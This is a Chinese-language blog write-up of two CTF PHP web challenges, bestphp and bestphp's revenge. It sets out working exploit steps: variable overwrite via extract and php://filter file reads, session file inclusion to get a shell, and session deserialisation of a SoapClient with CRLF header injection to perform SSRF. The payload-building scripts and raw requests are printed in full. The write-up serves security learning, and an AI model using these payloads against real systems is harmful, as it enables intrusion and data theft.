CTF

XCTF_FINAL_bestphp and LCTF2018_bestphp_revenge

Posted by HWHXY Blog on November 19, 2018

前言

xctf_final的代码审计题,在9月份的defcon group 010的web题于此题相同。 18/11/19更,刚结束的题目中存在同一个出题人出的bestphp's revenge,与此题有不解之缘,特此记录,学习学习

bestphp

代码审计

<?php 
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html:/tmp');
    $file='function.php';
    $func=isset($_GET['function'])?$_GET['function']:'filters';
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name']=$_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

step1 open_basedir

open_basedir: open_basedir 将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。

在php低版本存在绕过的可能,具体可以参考https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html,但是这里的php版本是7以上,所以不加考虑,也就是如果要利用,必须在tmp目录下方。

step2 call_user_func

第六行存在call_user_func,具体用法参照php文档,能够动态的调用函数。注意到下面存在include包含,但是file变量被固定了,那么这里就有个思路是利用上面的call_user_func调用问题函数,覆盖file变量,而存在变量覆盖的函数有-extract(),parse_str(),依据这里的情况我们使用extract进行变量覆盖。这里我们使用php伪协议来读取文件。例如:
http://xxxxx/?function=extract&file=php://filter/read=convert.base64-encode/resource=./index.php
用这样的方式我们得到 function.php:

<?php
function filters($data){
        foreach($data as $key=>$value){
                if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
                        die('Do not hack me!');
                }
        }
}
?>

admin.php:

<?php
if(empty($_SESSION['name'])){
        session_start();
        #echo 'hello ' + $_SESSION['name'];
}else{
        die('you must login with admin');
}
?>

嗯好的,做到这里,发现没什么用。。无论是admin.php,还是function.php。继续往下面看

step3 session

下面出现了session_start()这个函数,之后也是对session的一些判断操作,有点莫名奇妙,想必就是解题的关键了。
这里需要去了解session的机制,在php中,服务端的session并不是存放在内存中的,而是存放在文件里。默认情况下,PHP.ini 中设置的 SESSION 保存方式是 files(session.save_handler = files),即使用读写文件的方式保存 SESSION 数据,而 SESSION 文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟 SESSION ID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据即是序列化之后的 SESSION 数据了。
而session的默认存储位置在linux上有两种/tmp/var/lib/php/sessions
很好这里有我们能控制的目录,毕竟我们只能控制tmp目录下的文件,那么攻击思路来了:
控制session的值存在tmp目录下 —-> include包含我们控制的session临时文件 —-> getshellflag

我们来试试!

发现没有反应,也就是说默认的存储位置在我们控制不住的路径/var/lib/php/sessions里面,那么我们的思路就要变成先更改默认路径,那么如何更改默认路径呢?

step4 test.php / session_start更改默认路径

经过文件的爆破我们还发现存在test.php这样的文件:
test.php:

<?php
   print_r(get_defined_functions());

这个函数打印了所有可用的函数,查询关于session的一些函数,
session_save_path,很可惜用不上,参数是string类型的。描述 只能一个一个搜找问题了,最后会发现session_start能够满足我们的需求。参考文档

直接使用上面的call_user_func来更改session的默认配置,最后能得到:

更改默认路径:

文件包含:

ok成功包含

step5 写shell拿flag

那我们重复上面的过程就能拿到shell得到flag了。

另一种思路

在看大佬的题解时发现了另外一种思路and参考的解决办法,感觉也很有意思。
原理: 本地文件包含漏洞可以让 php 包含自身从而导致死循环,然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留。而保留的位置就是/tmp目录下,文件名为php+六位随机数

我们来看看本地服务器(本地做测试):

确实生成了随机文件名的文件,每一个文件的内容就是我们上传的文件的内容。
那么这条攻击链就是一端用脚本不断地发送上面地post包,不断地生成大量地文件,在生成一定量之后,开始爆破文件名,根据返回包地长度来判断是否存在(当然这里上传地内容中可以echo一些内容导致返回包地长度不一样进而判断)
如果waf过滤了session_start这个就是正解了。

bestphp’s revenge

代码审计

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
array(0) { }

flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

这一题php来复仇了,和上一题不同的是,这题没有了文件包含的漏洞。但是可以看出flag.php要我们做的事情就是要么是ssrf,要么是通过某种手段拿到管理员的cookie。较于bestphp,这道题只剩下了session这个点那我们思路就应该着重去看session相关的问题,根据题目的意思,我们可以参考相关的资料 那么我们能不能让储存的session为我们所用呢? 上面的参考链接存在这样的一句话:
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化 也就是说如果session数据在存储与读取的时候用的是不同的引擎,就会导致php反序列化的问题,那么我们如何来导致这样的问题呢?

step1 serialize_handler

serialize_handler决定了处理session的引擎,有如下的三种方式:

 php_binary:   存储方式是键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
 php:          存储方式是键名+竖线+经过serialize()函数序列处理的值
 php_serialize:存储方式是经过serialize()函数序列化处理的值
 (php>5.5.4)

比如我们如果在使用php_serialize作为引擎的话。如下:

    1. php_binary
      <?php
         ini_set('session.serialize_handler', 'php_binary');
         session_start();
         $_SESSION['name'] = 'hwhxy';
         var_dump();
      ?>
      

      服务器的session

      cat sess_bik48br01hk7j33alplm85ebf4
      names:6:"hwhxy";
      
    1. php_serialize
      <?php
         ini_set('session.serialize_handler', 'php_serialize');
         session_start();
         $_SESSION['name'] = 'hwhxy';
         var_dump();
      ?>
      

      服务器的session

      cat sess_bik48br01hk7j33alplm85ebf4 
      a:1:{s:4:"name";s:5:"hwhxy";}
      
    1. php
      <?php
         ini_set('session.serialize_handler', 'php');
         session_start();
         $_SESSION['name'] = 'hwhxy';
         var_dump();
      ?>
      

      服务器的session

      cat sess_bik48br01hk7j33alplm85ebf4 
      name|s:5:"hwhxy";
      

      如上,我们得到了三种php session的开关引擎。我们仔细的观察第三种情况,存在明显的key==>value 这种情形,那么如果我们如上面所说在存储和读取时的开关引擎不一致并且存储的时候session的内容可控。 会导致什么问题呢?

step2 php_serialize欺骗php

如上面所说,我们来构造这样的情况,如果存储的时候依据php_serialize,那么读取的时候依据php,会出现什么情况? 会出现–php引擎无法处理我们的session,因为session中不存在php引擎依赖的分隔符|,那么如果,我在控制的session中插入分隔符呢? 那么后者会依据分隔符自动解析左边为key,右边为value
也就是说:

POST /?name=|我们想要传递给php引擎的东西先用php_serialize存起来&f=session_start HTTP/1.1
Host: 172.81.210.82
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=1gm4hrokcmafhvo7j46k4hlhu3
Upgrade-Insecure-Requests: 1
Content-Length: 31

serialize_handler=php_serialize

我们传递给php引擎可控的value,为的是进行反序列化,那么为什么php引擎会进行将value的值进行反序列化呢?

step3 php引擎的反序列化特性

注意官方文档中对session_start函数的描述如下:

When session_start() is called or when a session auto starts, 
PHP will call the open and read session save handlers. These 
will either be a built-in save handler provided by default or 
by PHP extensions (such as SQLite or Memcached); or can be 
custom handler as defined by session_set_save_handler(). The 
read callback will retrieve any existing session data (stored 
in a special serialized format) and will be unserialized and 
used to automatically populate the $_SESSION superglobal when 
the read callback returns the saved session data back to PHP 
session handling.

当回调返回session data的时候会进行反序列操作并赋值给session的全局变量。好巧,我们在观察源码的时候,正好存在:

var_dump($_SESSION);  

那么我们反序列化什么东西呢?

step4 SoapClient内置类执行SSRF

关于php反序列化ssrf的操作应该是一个老用法了,但是我还是见识不够多,这里理清楚自己的思路,日后好相见!

我们来看看官方文档中对于SoapClient用法的举例:

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
wsdl
        URI of the WSDL file or NULL if working in non-WSDL mode.
Note:
        During development, WSDL caching may be disabled by the use of the soap.wsdl_cache_ttl php.ini setting otherwise changes made to the WSDL file will have no effect until soap.wsdl_cache_ttl is expired.

也就是该类的用法存在两种模式,WSDLorNULL,具体来看官方文档给出的例子

<?php
//WSDL file
$client = new SoapClient("some.wsdl", array('soap_version'   => SOAP_1_2));
//null
$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/",
                                     'style'    => SOAP_DOCUMENT,
                                     'use'      => SOAP_LITERAL));
$client = new SoapClient("some.wsdl", array('encoding'=>'ISO-8859-1'));

class MyBook {
    public $title;
    public $author;
}

$client = new SoapClient("books.wsdl", array('classmap' => array('book' => "MyBook")));

?>

两者的区别在于WSDL在序列化之前就会对$url进行soap请求,而NULL则会在反序列化的时候对option中的url进行soap请求.
那么我们可以以此写出脚本:

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
                               'user_agent' => "AAA:BBBrn", 
                               'Cookie'=>"PHPSESSID=dde63k4h9t7c9dfl79np27e912",
                               'uri'   => "123"));

$se = serialize($b); 
echo urlencode($se);
?>

然后发现返回报中没有我们要的cookie,因为我的本意是ssrf带上我的cookie,从而写进去我的session,但是返回报如下:

array(1) {
  ["name"]=>
  string(151) "|O:10:"SoapClient":4:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:11:"_user_agent";s:9:"AAA:BBBrn";s:13:"_soap_version";i:1;}"
}

也就是说SoapClientoption中并不接受cookie这个key,那就用crlf咯,改良脚本:

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
                               'user_agent' => "abc:abc"."\r\n"."Cookie:PHPSESSID=1gm4hrokcmafhvo7j46k4hlhu3",
                               'uri'   => "123"));

$se = serialize($b); 
echo urlencode($se);
?>

ok,返回包成功的包含的cookie,也就是说只要session反序列化执行之后,我们就能触发ssrf了,那么反序列化还不够啊,反序列只是出来一段代码,我们需要做的是找一个内置的能执行这段代码的函数啊。

这里关于为什么能够使用crlf以及底层的问题可以参考https://xz.aliyun.com/t/2148这位老兄把php源码读了一遍,很是佩服啊。

step5 __callstatic调用

我们来查阅我们想要调用的__call内置函数,查看官方文档

注意到上下文中调用不可访问的方法,会被调用。再来看看源代码:

        $a = array(reset($_SESSION),'welcome_to_the_lctf2018');
        call_user_func($b,$a);

这里我们正好可以调用b方法,那么我们其实可以将b=call_user_func,那么就变成了调用reset($_SESSION)也就是name这个函数了,那么我们只要随便构造这个name即可,如: 然后用extract覆盖b变量。或者甚至什么都不写,就会把后面的字符串当作函数名,依旧没有。如:

这里有个小坑,就是需要在header头增加content-type否则传过去不对orz. 好的现在我们已经成功触发了ssrf,也就是说我们的session中已经有flag了,然后直接访问index即可

后话

web博大进深!